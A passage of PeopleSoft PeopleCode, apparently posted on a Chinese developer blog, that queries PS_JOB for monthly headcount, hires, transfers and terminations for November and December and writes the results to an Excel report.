T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_11, &novCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_11, &end_11, &novCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_11, &end_11, &novCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_11, &end_11, &novCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_11, &novCount6); &novCount = Round((&novCount1 + &novCount6) / 2.0, 0); &reportRow.addString(String(&novCount)); /* 月度平均人数 */ &reportRow.addString(String(&novCount1)); /* 月初人数 */ &reportRow.addString(String(&novCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&novCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&novCount4)); /* 本月减少:离职人数 */ &novCount5 = Abs(&novCount6 - &novCount1 - &novCount2 - &novCount3 - &novCount4); &reportRow.addString(String(&novCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&novCount6)); /* 月末人数 */ /* 12月数据 &decCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_12, &decCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_12, &end_12, &decCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_12, &end_12, &decCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_12, &end_12, &decCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_12, &decCount6); &decCount = Round((&decCount1 + &decCount6) / 2.0, 0); &reportRow.addString(String(&decCount)); /* 月度平均人数 */ &reportRow.addString(String(&decCount1)); /* 月初人数 */ &reportRow.addString(String(&decCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&decCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&decCount4)); /* 本月减少:离职人数 */ &decCount5 = Abs(&decCount6 - &decCount1 - &decCount2 - &decCount3 - &decCount4); &reportRow.addString(String(&decCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&decCount6)); /* 月末人数 */ &reportDefn.addRow(&reportRow); &prevAColValue = &aColValue; &rowNum = &rowNum + 1; End-For; End-For; /* 5. 生成并保存Excel文件 */ &reportDefn.prepareExcel(); &FilePath = %FilePath | &reportTitle | "_" | &processInstance | "_" | %Date | ".xlsx"; &reportDefn.buildExcel(&FilePath); End-If;
最新发布
07-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值